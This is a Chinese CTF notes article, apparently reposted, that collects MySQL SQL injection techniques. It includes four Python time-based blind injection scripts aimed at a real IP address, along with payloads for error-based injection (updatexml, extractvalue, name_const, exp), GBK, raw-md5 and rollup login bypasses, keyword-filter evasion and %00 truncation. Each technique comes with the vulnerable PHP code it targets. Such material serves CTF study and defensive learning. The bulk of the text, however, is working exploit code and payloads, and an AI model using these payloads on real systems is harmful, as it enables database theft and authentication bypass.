内容简介:题目代码如下,从题目分析可以看到$ip是从xxf参数中获取的,并再使用explode函数处理后(注意在这里使用了,号作为分隔符,因而我们插入的sql语句中不能出现,号了),直接代入sql语句,因而是存在sql注入漏洞。因为关闭了报错,因而只能采用时间盲注的方式。因为,号不能使用,所以就意味着limit 0,1不能使用,但是可以使用from 0 for 1进行代替;if判断在此处不能使用了,但是可以使用select case when(满足条件)then(语句1)else(语句2) end语句进行代替数据库
题目代码如下,从题目分析可以看到$ip是从xxf参数中获取的,并再使用explode函数处理后(注意在这里使用了,号作为分隔符,因而我们插入的 sql 语句中不能出现,号了),直接代入sql语句,因而是存在sql注入漏洞。因为关闭了报错,因而只能采用时间盲注的方式。
因为,号不能使用,所以就意味着limit 0,1不能使用,但是可以使用from 0 for 1进行代替;if判断在此处不能使用了,但是可以使用select case when(满足条件)then(语句1)else(语句2) end语句进行代替
error_reporting(0);
function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];
}
$host="localhost";
$user="";
$pass="";
$db="";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
数据库名的注入脚本如下:
import requests
url = 'http://120.24.86.145:8002/web15/'
allString = '''1234567890~`!@#$%^&*()-_=+[]{};:'"|\,<.>/?qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'''
database = ''
flag = 1
for i in range(1,10):
for j in allString:
header = {
"X-Forwarded-For":"1'+(select case when (ascii(substr(database() from %d for 1))=%d) then sleep(3) else 0 end))#"%(i,ord(j))
}
r = requests.get(url,headers=header)
t = r.elapsed.total_seconds()
print('the time of '+j+' is '+str(t))
if t >= 3:
database = database + j
print('the '+str(i)+' place of database is '+j)
break
elif t < 3 and j == 'M':
flag = 0
break
if flag == 0 :
break
print('database:',database)
注入表名的代码如下
import requests
url = 'http://120.24.86.145:8002/web15/'
allString = '''1234567890~`!@#$%^&*()-_=+[]{};:'"|\,<.>/?qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'''
table_name = ''
flag = 1
for i in range(1,20):
for j in allString:
header = {
"X-Forwarded-For":"1'+(select case when (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from %d for 1))=%d) then sleep(3) else 0 end))#"%(i,ord(j))
}
r = requests.get(url,headers=header)
t = r.elapsed.total_seconds()
print('the time of '+j+' is '+str(t))
if t >= 3 and t < 4:
table_name = table_name + j
print('the '+str(i)+' place of table_name is '+j)
break
elif t < 3 and j == 'M':
flag = 0
break
if flag == 0 :
break
print('table_name:',table_name)
注入得到列名
import requests
url = 'http://120.24.86.145:8002/web15/'
allString = '''1234567890~`!@#$%^&*()-_=+[]{};:'"|\,<.>/?qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'''
column_name = ''
flag = 1
for i in range(1,20):
for j in allString:
header = {
"X-Forwarded-For":"1'+(select case when (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag') from %d for 1))=%d) then sleep(3) else 0 end))#"%(i,ord(j))
}
r = requests.get(url,headers=header)
t = r.elapsed.total_seconds()
print('the time of '+j+' is '+str(t))
if t >= 3 and t < 4:
column_name = column_name + j
print('the '+str(i)+' place of table_name is '+j)
break
elif t < 3 and j == 'M':
flag = 0
break
if flag == 0 :
break
print('column_name:',column_name)
最终注入得到列中的数据
import requests
url = 'http://120.24.86.145:8002/web15/'
allString = '''1234567890~`!@#$%^&*()-_=+[]{};:'"|\,<.>/?qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'''
flag = ''
f = 1
for i in range(1,30):
for j in allString:
header = {
"X-Forwarded-For":"1'+(select case when (ascii(substr((select flag from flag) from %d for 1))=%d) then sleep(3) else 0 end))#"%(i,ord(j))
}
r = requests.get(url,headers=header)
t = r.elapsed.total_seconds()
print('the time of '+j+' is '+str(t))
if t >= 3 and t < 4:
flag = flag + j
print('the '+str(i)+' place of table_name is '+j)
break
elif t < 3 and j == 'M':
f = 0
break
if f == 0 :
break
print('flag:',flag)
0x02 异或注入xor/^
xor与^的区别:前者是做逻辑运算 1 xor 0 会输出1 其他情况输出其他所有数据;后者是做位异或运算 如1^2=3 1^2=3
可以采用这种方式来判断目标站点过滤了什么关键字
http://120.24.86.145:9004/1ndex.php?id=1'^(length('union')=5)%23
当union被过滤时1^0 输出id=1
当union没被过滤时 1 ^ 1 输出 id=0 并回显 error
0x03 limit注入
在 MySQL 5.x版本中,后端采用如下形式进行SQL查询,此时注入点在order by语句后面无法使用union进行联合查询,因而需要另辟蹊径。
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 【注入点】
在此处我们可以使用procedure关键字调用ANALYSE存储过程来完成注入。利用姿势有以下几种:
//1.报错注入 mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1' mysql> SELECT host FROM mysql.user ORDER BY 1 LIMIT 0 PROCEDURE ANALYSE (0, (SELECT 3 ORDER BY updatexml(1, concat(0x3A, version()), 1))); ERROR 1105 (HY000): XPATH syntax error: ':5.5' //2.时间盲注,注意此时不能使用sleep SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1) //注:以上出现version()的地方都可以用想用的SQL语句替换
0x04 利用insert,update和delete注入获取数据
闭合形式:
' or (payload) or ' ' and (payload) and ' ' or (payload) and ' ' or (payload) and '=' '* (payload) *' ' or (payload) and ' " – (payload) – "
利用方式:
- 利用updatexml()获取数据
- 利用extractvalue()获取数据
-
利用name_const()获取数据
注意:
如果显示ERROR 1210 (HY000): Incorrect arguments to NAME_CONST,那就洗洗睡吧。。
如果显示ERROR 1060 (42S21): Duplicate column name ‘2’,就可以进一步获取更多数据。
- 利用子查询注入
参考: 利用insert,update和delete注入获取数据
0x05当update注入遇到关闭显错
注:此处提到的或逻辑运算对insert注入也是有效的
参考:
0x06 Mysql字符编码利用技巧
latin1编码不支持汉字,因而可以采用编码绕过
参考:
《Mysql字符编码利用技巧》0x07 GBK Injection
单引号会被/注掉,可以用%df吃掉/封闭id
查询字段数
?id=-1%df' order by 2%23
果然两个,顺带查看其用户,库名和版本
?id=-1%df' union select 1,concat_ws(char(32,58,32),user(),database(),version())%23
注:
# concat_ws()第一个参数是分隔字符 # char(32,58,32)表示的是 ":" 号 MariaDB [(none)]> select concat_ws(char(32,58,32),'11','22','33'); +------------------------------------------+ | concat_ws(char(32,58,32),'11','22','33') | +------------------------------------------+ | 11 : 22 : 33 | +------------------------------------------+ 1 row in set (0.00 sec)
库名sae-chinalover,再爆表
单引号会被/注掉,所以写sae-chinalover的16进制
?id=-1%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 0x7361652d6368696e616c6f766572)%23
注:
group_concat()是将某个字段的所有值打印在一起,方便一行输出。
mysql> select group_concat(name) from aa; +-------------------+ |group_concat(name) | +-------------------+ |10,20,20|
有四个:ctf,ctf2,ctf3,ctf4,news,爆列名
?id=-1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 0x7361652d6368696e616c6f766572 and table_name=0x63746634)%23
ctf4里有id,flag,flag应该就在这里
?id=-1%df' union select 1,(select group_concat(id,flag) from ctf4)%23
可以看到构造爆错后常规注入即可。
0x08 MD5加密后的SQLi
目标语句:
"select * from admin where password='".md5($pass,true)."'"
md5(string,raw) string 必需。规定要计算的字符串。 raw 可选。规定十六进制或二进制输出格式: • TRUE – 原始 16 字符二进制格式 <关键点> • FALSE – 默认。32 十六进制数
注入思路:
字符串经md5计算后的值经过hex转成字符串后为 ”or’xxx’这样的字符串
构造payload目标:
select * from admin where password="or'xxx'
可用payload
content: 129581926211651571912466741651878684928 md5加密为: 06da5430449f8f6f23dfc1276f722738 作hex转字符串: ?T0D??o#??’or’8.N=? content: ffifdyop md5加密为: 276f722736c95d99e921722cf9ed621c 作hex转字符串: ‘or’6蒥欓!r,b
注:这个问题是在 PHP 中存在的
0x09 空格被过滤
空格过滤使用 /*xxx*/
进行绕过,
有时候关键词被过滤了可以使用双写绕过
例如
//为三个字段,接着查库 ?id=1/*0*/order/*0*/by/*0*/3%23 ?id=-1/*0*/uniunionon/*0*/seselectlect/*0*/1,2,concat_ws(char(32,58,32),user(),database(),version())%23 //查所有库 ?id=-1/*0*/uniunionon/*0*/seselectlect/*0*/1,2,group_concat(schema_name)/*0*/frfromom/*0*/information_schema.schemata%23 //查test的表 ?id=-1/*0*/uniunionon/*0*/seselectlect/*0*/1,2,group_concat(table_name)/*0*/frfromom/*0*/information_schema.tables/*0*/where/*0*/table_schema=0x74657374%23 //只有一个content,查列 ?id=-1/*0*/uniunionon/*0*/seselectlect/*0*/1,2,group_concat(column_name)/*0*/frfromom/*0*/information_schema.columns/*0*/where/*0*/table_schema=0x74657374/*0*/and/*0*/table_name=0x636f6e74656e74%23 //有id,context,title。最后直接查context ?id=-1/*0*/uniunionon/*0*/seselectlect/*0*/1,2,context/*0*/frfromom/*0*/content%23 //得到flag
0x10 ``符号问题
<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>
反引号是为了区分MySql的保留字段与普通字符而引入的符号
引号一般用在字段的值,如果字段值是字符或字符串,则要加引号
MariaDB [test]> select `flag` from flags;
+----------------------------------------+
| flag |
+----------------------------------------+
| flag{37316894c36cb32d2ca3f7d3add88024} |
+----------------------------------------+
1 row in set (0.00 sec)
MariaDB [test]> select 'flag' from flags;
+------+
| flag |
+------+
| flag |
+------+
1 row in set (0.00 sec)
payload:构造如下形式进行注入, * 位置放入关键词
desc `***` `***`; MariaDB [test]> desc `flags` `union select table_name from information_schema.tables`; Empty set (0.00 sec)
http://test.com/?table=test` `union select table_name from information_schema.tables limit 1,1 http://test.com/?table=test` `union select column_name from information_schema.columns limit 1,1 http://test.com/?table=test` `union select flagUwillNeverKnow from secret_flag limit 1,1
0x11 rollup&&offset
limit 1 offset 2
从第二条记录开始查询,读取1条记录(intrude fuzz 1和2这两个位置的参数)
rollup
在group by 分组之后,再合计总数,可构造使得结果为null
<?php
error_reporting(0);
if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
$StrValue=implode($StrValue);
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
print "姘村彲杞借垷锛屼害鍙禌鑹囷紒";
exit();
}
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);
}
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
#$sql="SELECT * FROM interest WHERE uname = '' or 1=1 group by pwd with rollup limit 1 offset 2 #'";
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "浜﹀彲璧涜墖锛�";
}
}else{
print "涓€棰楄禌鑹囷紒";
}
mysql_close($con);
?>
获取flag需要满足 mysql_num_rows($query) == 1
和 $key['pwd'] == $_POST['pwd']
,后者使用 group by pwd with rollup
在查询结果中加上一行,且pwd字段的值为NULL,以此绕过 $key['pwd'] == $_POST['pwd']
过滤,则使用 limit # offset #
来满足 mysql_num_rows($query) == 1
,fuzz出 limit 1 offset 2
payload
' or 1=1 group by pwd with rollup limit 1 offset 2 #
test
MariaDB [test]> select text from article group by NULL with rollup limit 1 offset 2 ;
Empty set (0.00 sec)
MariaDB [test]> select * from article;
+---------+-----------------------------------------------------+
| id | text |
+---------+-----------------------------------------------------+
| 1 | guess what? |
| 3 | you can test it with sqli |
| 2 | dudulu |
| 4 | The choice of the stone gate of all dead destinies! |
| 5 | ??? ??? |
| 8848 | you want by a phone? |
| 9588 | you will be lucky |
| 1245123 | flag{37316894c36cb32d2ca3f7d3add88024} |
+---------+-----------------------------------------------------+
8 rows in set (0.00 sec)
0x12 注出可控数据绕过登录
<html>
<head>
welcome to simplexue
</head>
<body>
<?php
if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("********", "*****", "********");
mysql_select_db("phpformysql") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);
$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.txt">
</html>
利用user处的注入返回想要的pw
例如 qwe,76d80224611fc919a5d54f0ff9fba446
username值 ' union select '76d80224611fc919a5d54f0ff9fba446'#
password值 qwe
提交获得flag
0x13 htmlentities实体化单引号情况
#GOAL: get password from admin;
error_reporting(0);
require 'db.inc.php';
function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}
$row = mysql_fetch_assoc($result);
echo "Hello ".$row['name']."</br>";
echo "Your password is:".$row['pass']."</br>";
htmlentities将单引号实体化了,所以可用\来将源单引号转义
构造
SELECT * FROM users WHERE name='\' AND pass=' or 1=1 limit 2,3#';
payload:
?username=\&password=%20or%201=1%20limit%202,3%23
0x14 报错注入 && / !00000select / && ‘->\x27
示例题目属于二次注入,在删除功能处进行注入
<?php
include 'config.php';
foreach(array('_GET','_POST','_COOKIE') as $key){
foreach($$key as $k => $v){
if(is_array($v)){
errorBox("hello,sangebaimao!");
}else{
$k[0] !='_'?$$k = addslashes($v):$$k = "";
}
}
}
function filter($str){
$rstr = "";
for($i=0;$i<strlen($str);$i++){
if(ord($str[$i])>31 && ord($str[$i])<127){
$rstr = $rstr.$str[$i];
}
}
$rstr = str_replace('\'','',$rstr);
return $rstr;
}
if(!empty($message)){
if(preg_match("/\b(select|insert|update|delete)\b/i",$message)){
die("hello,sangebaimao!");
}
if(filter($message) !== $message){
die("hello,sangebaimao!");
}
$sql="insert guestbook(`message`) value('$message');";
mysql_query($sql);
$sql = "select * from guestbook order by id limit 0,5;";
$result = mysql_query($sql);
if($result){
while($row = mysql_fetch_array($result)){
$id = $row['id'];
$message = $row['message'];
echo "|$id|=>|$message|<br/>";
}
}
$message = stripcslashes($message);
$sql = "delete from guestbook where id=$id or message ='$message';";
if(!mysql_query($sql)){
//print(mysql_error());依据这句话看出可以使用报错注入
print(mysql_error());
$sql = "delete from guestbook where id=$id";
mysql_query($sql);
};
}
?>
sqli关键:需要绕过单引号和preg_match
因为stripcslashes函数,可以使用 1\x27
创造单引号
/*!00000select*/
绕过preg_match
在mysql,00000这5位代表版本号,表示只有在大于该版本的mysql中不作为注释
MariaDB [test]> /*!00000select 'zeroyu'*/; +--------+ | zeroyu | +--------+ | zeroyu | +--------+ 1 row in set (0.00 sec)
注: concat(0x27,(/*!00000select version()*/))
这个对于UpdateXML和ExtractValue而言会最先执行,但是它不是一个合格xml表达式,因而或造成报错。但要注意这两个报错的最大长度是32
1.利用updatexml报错
UpdateXML(xml_target, xpath_expr, new_xml)
updatexml函数有三个参数,作用是xml替换,把xml_target中被xpath_expr匹配到的部分使用new_xml替换
?message=1\x27 and updatexml(0,concat(0x27,(/*!00000select version()*/)),0)%23
MariaDB [(none)]> select updatexml(1,concat(0x7e,(select @@version),0x7e),1); ERROR 1105 (HY000): XPATH syntax error: '~10.1.36-MariaDB~'
2.利用ExtractValue()报错
ExtractValue(xml_frag, xpath_expr) 得到xml_frag中被xpath_expr匹配到的值
?message=1\x27 and ExtractValue(0,concat(0x27,(/*!00000select version()*/)))%23;
3.name_const()
name_const(name,value)
返回给定值。 当用来产生一个结果集合列时, name_const()促使该列使用给定名称。
本题利用的是表的字段名(列名)不允许重复,列名重复会报错,报错长度没有限制
payload
?message=aaa\x27%20and%20(/*!00000SELECT*/ * FROM(/*!00000SELECT*/(name_const(version(),1)),name_const(version(),1))a)%23
MariaDB [test]> select name_const('l','f');
+------+
| l |
+------+
| f |
+------+
1 row in set (0.00 sec)
//此处的a是列别名,别名使用时是可以省略as的 MariaDB [test]> /*!00000SELECT*/(name_const(version(),1)),name_const(1,version())a; +-----------------+-----------------+ | 10.1.30-MariaDB | a | +-----------------+-----------------+ | 1 | 10.1.30-MariaDB | +-----------------+-----------------+ 1 row in set (0.00 sec)
4.exp
前提: mysql=<5.5.53时才可以使用,不然不会有返回结果的
比如我在5.6.x下进行测试就没有返回结果
MariaDB [(none)]> select exp(~(select*from(select user())x)); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select #)))'
如果一个查询成功返回,则其返回值为0,进行逻辑非运算后可得1,这个值是可以进行数学运算的。
通过子查询与按位求反,造成一个DOUBLE overflow error,并借由此注出数据。
?message=aaa\x27 and (/*!00000select exp(~(/*!00000select*/ * from (/*!00000select*/ version())a)))%23
参考: https://www.cnblogs.com/lcamry/articles/5509124.html
5.主键重复
concat+rand()+group_by()导致主键重复
。实际上只要是count,rand(),group by三个连用就会造成这种报错,与位置无关:
MariaDB [test]> select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x; ERROR 1062 (23000): Duplicate entry '10.1.36-MariaDB1' for key 'group_key'
floor(rand(0) 2)则会固定得到011011…的序列,在查询时floor(rand(0) 2)会被计算5次,查询原始数据表3次,所以表中需要至少3条数据才能报错。
6.几何函数
geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring()
这些函数对参数要求是形如(1 2,3 3,2 2 1)这样几何数据,如果不满足要求,则会报错。经测试,在版本号为5.5.47上可以用来注入,而在5.7.17上则不行。
7.join报错爆字段
注:该方法在知道表名的情况下使用
select * from (select * from 表名 a join 表名 b) c) 在得到一个字段后,使用using得到下一个字段 select * from (select * from 表名 a join 表名 b using (已知的字段,已知的字段)) c
0x15 MySQL快速盲注小技巧
将字符串经过hex编码之后,再转成10进制数字,通过盲注获取具体的数字,然后再将它还原回去。
注意当数字过长是可以采用截取字符串的方式,八位八位的获取数据结果,公式:
select conv(hex(substr(user(),1 + (n-1) * 8, 8 * n)), 16, 10);
参考: http://www.zhutougg.com/2018/02/23/mysqlkuai-su-mang-zhu-xiao-ji-qiao/
0x16 update注入
<?php
$link = mysqli_connect('localhost', 'root', 'root');
mysqli_select_db($link, 'code');
$table = addslashes($_GET['table']);
$sql = "UPDATE `{$table}`
SET `username`='admin'
WHERE id=1";
if(!mysqli_query($link, $sql)) {
echo(mysqli_error($link));
}
mysqli_close($link);
关键点:
- update注入,且sql语句没有写在一行代码里面 => left join
- addslashes在单引号和双引号前加”\” => 出现单引号的地方用char函数代替
- 闭合`
- 除了table表以外不知道数据库的其他表了,或者根本就只有一个表,所以我就要用mysql的虚表dual
payload
?table=test` t left join (select char(97) as user from dual where (extractvalue(1,concat(0x7e,(select version()),0x7e)))) tt on tt.user=`t.username
参考: https://paper.seebug.org/216/
0x17 %00截断
<?php
$db = mysqli_connect('localhost','web_brave','','web_brave');
$id = @$_GET['id'];
$key = $db->real_escape_string(@$_GET['key']);
if(preg_match('/\s|[\(\)\'"\/\\=&\|1-9]|#|\/\*|into|file|case|group|order|having|limit|and|or|not|null|union|select|from|where|--/i', $id))
die('Attack Detected. Try harder: '. $_SERVER['REMOTE_ADDR']); // attack detected
$query = "SELECT `id`,`name`,`key` FROM `users` WHERE `id` = $id AND `key` = '".$key."'";
$q = $db->query($query);
if($q->num_rows) {
echo '<h3>Users:</h3><ul>';
while($row = $q->fetch_array()) {
echo '<li>'.$row['name'].'</li>';
}
echo '</ul>';
} else {
die('<h3>Nop.</h3>');
}
过滤了好多但是”`”没有过滤,使用%00截断进行截断
payload
id=`id`;%00
0x18 绕正则
<?php
if(isset($_REQUEST['id'])){
if(preg_match("/'(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['id'])){
die("Attack detected!!!");
}
}
$sql = "select * from xxx where id = '{$_GET['id']}'";
echo $sql;
$result = sql_query($_GET['id']);
?>
这个题目绕正则没什么意思,主要是想再提一下 $_REQUEST
变量覆盖问题
数据加载的顺序:
Environment->Get->Post->Cookie->Server
payload
GET传参 ?id=1' union select * from flag %23 同时POST传参 id=1
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 【每日笔记】【Go学习笔记】2019-01-04 Codis笔记
- 【每日笔记】【Go学习笔记】2019-01-02 Codis笔记
- 【每日笔记】【Go学习笔记】2019-01-07 Codis笔记
- vue笔记3,计算笔记
- Mysql Java 驱动代码阅读笔记及 JDBC 规范笔记
- 【每日笔记】【Go学习笔记】2019-01-16 go网络编程
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
MySQL技术内幕
姜承尧 / 机械工业出版社 / 2013-5 / 79.00元
《MySQL技术内幕:InnoDB存储引擎(第2版)》由国内资深MySQL专家亲自执笔,国内外多位数据库专家联袂推荐。作为国内唯一一本关于InnoDB的专著,《MySQL技术内幕:InnoDB存储引擎(第2版)》的第1版广受好评,第2版不仅针对最新的MySQL 5.6对相关内容进行了全面的补充,还根据广大读者的反馈意见对第1版中存在的不足进行了完善,《MySQL技术内幕:InnoDB存储引擎(第2......一起来看看 《MySQL技术内幕》 这本书的介绍吧!